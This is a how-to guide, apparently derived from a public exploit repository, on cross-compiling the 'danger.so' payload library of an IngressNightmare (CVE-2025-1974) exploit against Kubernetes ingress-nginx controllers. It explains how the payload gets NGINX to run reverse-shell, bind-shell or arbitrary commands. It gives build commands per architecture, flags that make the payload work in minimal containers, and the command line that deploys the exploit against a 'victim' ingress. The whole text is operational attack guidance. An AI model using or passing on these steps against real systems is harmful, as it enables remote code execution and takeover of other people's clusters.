# How to Recompile danger.so for Different Architectures: Cross-Compilation Guide for the IngressNightmare Exploit

> Recompile danger.so for new architectures with IngressNightmare. Set up cross-compilers, define CC, and run make build for universal exploit compatibility. Master cross-compilation.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**To recompile `danger.so` for a different architecture, install the target-specific cross-compiler toolchain (e.g., `gcc-aarch64-linux-gnu` for ARM64), set the `CC` environment variable to point to the cross-compiler, and execute `make build` to generate a position-independent shared object compatible with the victim node's CPU ISA.**

The `danger.so` payload library is a critical component of the IngressNightmare exploit ([`esonhugh/ingressnightmare-cve-2025-1974-exps`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)). When learning how to recompile `danger.so` for different architectures, you must account for the target system's CPU ISA and ABI, as the precompiled library will fail with an "Exec format error" if the architectures mismatch.

## Understanding the danger.so Payload Architecture

The `danger.so` file is a tiny shared object written in C ([`nginx-ingress/danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/danger.c)) that contains an exported `entrypoint` constructor function. When the **ingressnightmare** Go binary runs, it loads this library via the `ssl_engine` directive, triggering the constructor to execute one of the payload modes (reverse-shell, bind-shell, or command execution).

Because the library is loaded directly into the NGINX process, the ELF binary must match the target node's architecture exactly. The repository provides a default build for x86-64, but Kubernetes clusters often run on ARM64, s390x, or other architectures, requiring cross-compilation.

## Prerequisites: Installing Cross-Compiler Toolchains

To build for non-native architectures, you need the appropriate GNU cross-compiler installed on your build host:

- **ARM64 (aarch64)**: `gcc-aarch64-linux-gnu`
- **ARMv7 (armhf)**: `gcc-arm-linux-gnueabihf`
- **s390x**: `gcc-s390x-linux-gnu`
- **RISC-V 64**: `gcc-riscv64-linux-gnu`

Install these via your package manager (e.g., `apt install gcc-aarch64-linux-gnu` on Debian/Ubuntu).

## Building danger.so for Target Architectures

The `nginx-ingress/Makefile` automates the build process, but you must specify the cross-compiler via the `CC` environment variable.

### Native x86-64 Build

For the default host architecture, run:

```bash
make build

```

This executes:

```bash
gcc -fPIC -o danger.so danger.c -shared

```

### Cross-Compiling for ARM64

To target ARM64 Kubernetes nodes:

```bash
CC=aarch64-linux-gnu-gcc make build

```

The Makefile invokes:

```bash
aarch64-linux-gnu-gcc -fPIC -o danger.so danger.c -shared

```

### Other Architectures

Use the corresponding `CC` value for your target:

| Target Architecture | Cross-Compiler Command | Environment Variable |
|---------------------|------------------------|---------------------|
| **ARMv7** | `arm-linux-gnueabihf-gcc` | `CC=arm-linux-gnueabihf-gcc` |
| **s390x** | `s390x-linux-gnu-gcc` | `CC=s390x-linux-gnu-gcc` |
| **RISC-V 64** | `riscv64-linux-gnu-gcc` | `CC=riscv64-linux-gnu-gcc` |

If the compiler is not in your `PATH`, provide the full path:

```bash
CC=/usr/bin/aarch64-linux-gnu-gcc make build

```

## Compiler Flags and Position-Independent Code

The `danger.so` library requires specific flags to function as a loadable NGINX module:

- **`-fPIC`**: Generates **position-independent code**, required for shared objects that the dynamic linker can map at any virtual address.
- **`-shared`**: Produces a shared library (`.so`) rather than a standalone executable.

### Libc-Free Compilation (Minimal Containers)

The source file ([`nginx-ingress/danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/danger.c)) contains minimal implementations of `strcmp`, `strlener`, and `strcpy`, allowing compilation without linking against `glibc`. This is essential for minimal containers that lack the standard C library:

```bash
gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so danger.c -shared

```

This command removes dependencies on the host's libc, producing a self-contained payload that works on scratch or distroless images.

## Verifying the Compiled Binary

After compilation, verify the ELF header to ensure the architecture matches your target:

```bash
readelf -h danger.so | grep 'Machine'

```

Expected output for ARM64:

```

Machine:                           AArch64

```

The repository's `Makefile` automatically runs `readelf -a danger.so` during the build process to inspect the binary structure.

## Deploying the Custom Library

Once you have recompiled `danger.so` for the correct architecture, deploy it with the Go exploit using the `--so` flag:

```bash
./ingressnightmare -m c -c 'id' --so ./danger.so -i $INGRESS -u $UPLOADER

```

As implemented in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go), the `--so` parameter replaces the default embedded library with your custom-built version, ensuring the payload loads correctly on the target architecture.

## Summary

- **`danger.so`** is a position-independent shared object ([`nginx-ingress/danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/danger.c)) loaded by the ingressnightmare exploit via NGINX's `ssl_engine` directive.
- **Architecture mismatch** causes "Exec format error" when the victim pod's CPU ISA differs from the compiled library.
- **Cross-compilation** requires setting `CC` to the appropriate cross-compiler (e.g., `aarch64-linux-gnu-gcc`) before running `make build`.
- **Required flags** are `-fPIC` and `-shared`; for minimal environments, add `-nostdlib -ffreestanding -fno-builtin`.
- **Verification** uses `readelf -h danger.so` to confirm the `Machine` type matches the target architecture.

## Frequently Asked Questions

### What causes the "Exec format error" when running the exploit?

This error occurs when the `danger.so` library is compiled for a different CPU architecture than the victim NGINX pod. For example, if you compile the library on an x86-64 workstation but the target Kubernetes node runs ARM64, the Linux kernel cannot execute the x86-64 instructions on the ARM processor, resulting in the "Exec format error" detailed in the repository README.

### Can I compile danger.so without libc dependencies?

Yes. The [`nginx-ingress/danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/danger.c) source includes its own implementations of string manipulation functions. By adding `-nostdlib -ffreestanding -fno-builtin` to the gcc command, you can create a fully self-contained shared object that does not require `glibc` or any standard library present on the target system, making it ideal for minimal or scratch containers.

### How do I determine the architecture of the target Kubernetes node?

Run `kubectl get nodes -o wide` to view the node architecture, or execute `uname -m` inside a pod running on the target node. Common outputs include `x86_64` (AMD64), `aarch64` (ARM64), `armv7l` (ARM 32-bit), or `s390x`. Match this to the appropriate cross-compiler prefix when recompiling `danger.so`.

### Is it possible to statically link danger.so?

Static linking is not applicable to shared objects (`.so` files) in the traditional sense, as they are inherently dynamic libraries. However, you can eliminate external libc dependencies using the `-nostdlib -ffreestanding` flags, which effectively creates a self-contained payload with no external library dependencies, achieving similar portability benefits to static linking.